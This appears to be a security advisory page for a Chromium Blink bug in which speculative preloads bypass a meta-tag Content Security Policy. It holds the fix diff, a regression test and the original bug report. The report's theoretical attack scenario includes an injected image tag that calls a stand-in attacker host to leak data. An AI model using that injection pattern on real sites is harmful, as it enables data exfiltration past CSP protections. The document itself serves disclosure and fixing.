Overview

Low
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactPolicy bypass in Blink
DescriptionPolicy bypass in Blink
ComponentBlink
Bug ClassLogic Error
Tracker502358901
Fix commit59be26eff404 (chromium/src) +32/-3
CISA KEVNot listed
CreditedGoogle
Disclosed2026-06-02

Changed Functions

FunctionChangeNotes
if
third_party/blink/web_tests/http/tests/preload/meta-csp-with-http-header.php
modified

Files Changed

  • third_party/blink/renderer/core/html/parser/html_document_parser.cc
  • third_party/blink/web_tests/TestExpectations
  • third_party/blink/web_tests/http/tests/preload/meta-csp-with-http-header.php
From 59be26eff404e62c3b52de87b1668b82db231285 Mon Sep 17 00:00:00 2001
From: Mason Freed <[email protected]>
Date: Fri, 01 May 2026 09:55:36 -0700
Subject: [PATCH] Fix preload scanner bypass of <meta> CSP tags

This change fixes a logic flaw in `HTMLDocumentParser::AllowPreloading`
where speculative preloads could incorrectly bypass a restrictive
`<meta>` Content Security Policy when the experimental
`AllowPreloadingWithCSPMetaTag` feature was enabled.

Previously, the parser would allow queued preloads to be released once
the total number of parsed CSP policies
(`csp->GetParsedPolicies().size()`) matched the number of `<meta>` CSP
tags seen by the preload scanner (`seen_csp_meta_tags_`). This caused a
premature release if there was an HTTP response header policy (like
`Content-Security-Policy-Report-Only`), which falsely inflated the
total policy count.

This CL updates the check to explicitly count only policies whose
source is `network::mojom::blink::ContentSecurityPolicySource::kMeta`.
This guarantees the preload scanner accurately waits for the tree
builder to enforce the specific `<meta>` tag's policy before
dispatching requests over the network.

Fixed: 502358901
Change-Id: I9517173953b21feeaddd4ee20e5aa4305ffc1970
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7793536
Auto-Submit: Mason Freed <[email protected]>
Commit-Queue: Mason Freed <[email protected]>
Reviewed-by: Charles Harrison <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1623880}
---

diff --git a/third_party/blink/renderer/core/html/parser/html_document_parser.cc b/third_party/blink/renderer/core/html/parser/html_document_parser.cc
index d86f49d..6e496798 100644
--- a/third_party/blink/renderer/core/html/parser/html_document_parser.cc
+++ b/third_party/blink/renderer/core/html/parser/html_document_parser.cc
@@ -1845,8 +1845,14 @@
     }
 
     // Only allows preloads if all seen meta tags have been processed.
-    return static_cast<int>(csp->GetParsedPolicies().size()) ==
-           seen_csp_meta_tags_;
+    int processed_meta_policies = 0;
+    for (const auto& policy : csp->GetParsedPolicies()) {
+      if (policy->header->source ==
+          network::mojom::blink::ContentSecurityPolicySource::kMeta) {
+        ++processed_meta_policies;
+      }
+    }
+    return processed_meta_policies == seen_csp_meta_tags_;
   } else {
     return false;
   }
diff --git a/third_party/blink/web_tests/TestExpectations b/third_party/blink/web_tests/TestExpectations
index 8d056a37..783453b 100644
--- a/third_party/blink/web_tests/TestExpectations
+++ b/third_party/blink/web_tests/TestExpectations
@@ -153,7 +153,6 @@
 # parser was enabled. All of these are bugs/issues with the test itself.
 
 # Extra line info appears in the output in some cases.
-crbug.com/1254932 http/tests/preload/meta-csp.html [ Failure ]
 
 # Extra box in the output:
 crbug.com/1254933 [ Linux ] css3/filters/filterRegions.html [ Failure Pass ]
diff --git a/third_party/blink/web_tests/http/tests/preload/meta-csp-with-http-header.php b/third_party/blink/web_tests/http/tests/preload/meta-csp-with-http-header.php
new file mode 100644
index 0000000..ce330e32
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/preload/meta-csp-with-http-header.php
@@ -0,0 +1,24 @@
+<?php
+header("Content-Security-Policy-Report-Only: script-src 'self' 'unsafe-inline'");
+?>
+
+<!DOCTYPE html>
+
+<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'; font-src 'none'">
+<script src="../resources/testharness.js"></script>
+<script src="../resources/testharnessreport.js"></script>
+
+<link rel=preload href="../resources/Ahem.ttf" as=font crossorigin>
+
+<script>
+var t = async_test("Ensure CSP meta tags properly block preloads when there are also CSP tags in the response headers");
+window.addEventListener("load", t.step_func(function() {
+  if (window.internals) {
+    assert_true(internals.isPreloaded('../resources/testharness.js'));
+    assert_true(internals.isPreloaded('../resources/testharnessreport.js'));
+    assert_false(internals.isPreloaded('../resources/Ahem.ttf'), "fonts should not be preloaded");
+    t.done();
+  }
+}));
+</script>
+
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/TestExpectations b/third_party/blink/web_tests/TestExpectations
index 8d056a37..783453b 100644
--- a/third_party/blink/web_tests/TestExpectations
+++ b/third_party/blink/web_tests/TestExpectations
@@ -153,7 +153,6 @@
 # parser was enabled. All of these are bugs/issues with the test itself.
 
 # Extra line info appears in the output in some cases.
-crbug.com/1254932 http/tests/preload/meta-csp.html [ Failure ]
 
 # Extra box in the output:
 crbug.com/1254933 [ Linux ] css3/filters/filterRegions.html [ Failure Pass ]
diff --git a/third_party/blink/web_tests/http/tests/preload/meta-csp-with-http-header.php b/third_party/blink/web_tests/http/tests/preload/meta-csp-with-http-header.php
new file mode 100644
index 0000000..ce330e32
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/preload/meta-csp-with-http-header.php
@@ -0,0 +1,24 @@
+<?php
+header("Content-Security-Policy-Report-Only: script-src 'self' 'unsafe-inline'");
+?>
+
+<!DOCTYPE html>
+
+<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'; font-src 'none'">
+<script src="../resources/testharness.js"></script>
+<script src="../resources/testharnessreport.js"></script>
+
+<link rel=preload href="../resources/Ahem.ttf" as=font crossorigin>
+
+<script>
+var t = async_test("Ensure CSP meta tags properly block preloads when there are also CSP tags in the response headers");
+window.addEventListener("load", t.step_func(function() {
+  if (window.internals) {
+    assert_true(internals.isPreloaded('../resources/testharness.js'));
+    assert_true(internals.isPreloaded('../resources/testharnessreport.js'));
+    assert_false(internals.isPreloaded('../resources/Ahem.ttf'), "fonts should not be preloaded");
+    t.done();
+  }
+}));
+</script>
+
Loading diff…

Original Bug Report

reported by [email protected]

CSP bypass via mismatched policy counts in HTMLDocumentParser::AllowPreloading

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.

Overview: A logic flaw in HTMLDocumentParser allows speculative preloads to bypass a restrictive <meta> Content Security Policy. The parser incorrectly compares the total number of applied CSP policies (which includes HTTP headers) against the count of <meta> CSP tags seen by the preload scanner. If a page has an HTTP CSP header and a <meta> CSP tag, preloads can be dispatched before the <meta> tag’s policy is actually enforced.

Affected files:

  • third_party/blink/renderer/core/html/parser/html_document_parser.cc
  • third_party/blink/renderer/core/html/parser/html_preload_scanner.cc
  • third_party/blink/renderer/core/frame/csp/content_security_policy.cc
  • third_party/blink/renderer/core/loader/document_loader.cc
  • third_party/blink/renderer/core/loader/http_equiv.cc

Estimated timestamp from git blame: 2025-03-26

Summary

A potential vulnerability exists in the speculative preloading logic of Blink’s HTML parser when the experimental AllowPreloadingWithCSPMetaTag feature is enabled.

The HTMLDocumentParser::AllowPreloading() function attempts to gate speculative preloads until all CSP <meta> tags discovered by the preload scanner have been fully processed by the HTML tree builder. However, the synchronization logic is flawed: it compares the total count of parsed CSP policies (which includes policies delivered via HTTP response headers) against the number of <meta> CSP tags encountered by the scanner. If an HTTP CSP policy is present, the equality check can pass prematurely, allowing preloads to bypass a restrictive <meta> CSP tag.

Technical Details

In third_party/blink/renderer/core/html/parser/html_document_parser.cc, the AllowPreloading() function contains the following check:

return static_cast<int>(csp->GetParsedPolicies().size()) == seen_csp_meta_tags_;
  1. csp->GetParsedPolicies().size(): This returns the total number of policies in the ContentSecurityPolicy object. Crucially, this vector is populated at navigation commit with any policies derived from HTTP headers (including Content-Security-Policy-Report-Only).
  2. seen_csp_meta_tags_: This counter is incremented by the HTMLPreloadScanner only when it encounters a <meta http-equiv="content-security-policy"> tag in the HTML markup.

Because these two values measure different things, an attacker can manipulate them to match prematurely.

Potential Attack Scenario

Note: The following steps describe a theoretical attack sequence based on code analysis; a functional exploit has not been executed.

  1. The attacker serves (or finds) a page that returns an HTTP response header, such as Content-Security-Policy-Report-Only: default-src 'self'. During navigation commit, this policy is added, so GetParsedPolicies().size() equals 1.
  2. The attacker injects HTML (e.g., via XSS) containing a restrictive CSP meta tag: <meta http-equiv="content-security-policy" content="default-src 'none'">.
  3. Immediately following the meta tag, the attacker injects a resource load that would normally be blocked, e.g., <img src="https://attacker.example/leak?data=secret">.
  4. The HTMLPreloadScanner scans the markup. It sees the <meta> tag and increments seen_csp_meta_tags_ to 1.
  5. The scanner queues the attacker’s <img> preload and yields back to the HTMLDocumentParser.
  6. The parser calls AllowPreloading() to see if the queued preload can be dispatched.
  7. The check !csp->IsActive() is bypassed because IsActive() returns true if any policy is present (including the header).
  8. The parser evaluates GetParsedPolicies().size() == seen_csp_meta_tags_. Since both are 1, it incorrectly returns true.
  9. The attacker’s speculative preload is dispatched over the network to attacker.example, successfully bypassing the restrictive <meta> CSP.
  10. Later, the main HTML tree builder processes the <meta> tag and adds its policy (bringing GetParsedPolicies().size() to 2), but it is too late to block the leak.

Impact

This results in a renderer-side CSP bypass, allowing an attacker to exfiltrate data or initiate cross-origin fetches that the page’s <meta> CSP intended to block. The impact is currently limited by the fact that the AllowPreloadingWithCSPMetaTag runtime feature is experimental.

Suggested Fix

To fix this synchronization issue, the parser must compare comparable counts.

One approach is to track the number of parsed meta tag policies specifically. ContentSecurityPolicy could maintain a separate counter or expose a method like GetParsedMetaPoliciesCount() that AllowPreloading() checks against seen_csp_meta_tags_.

Alternatively, seen_csp_meta_tags_ could be initialized at navigation commit to the number of HTTP header policies present, effectively transforming it into an expected_total_policies_ counter.

Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker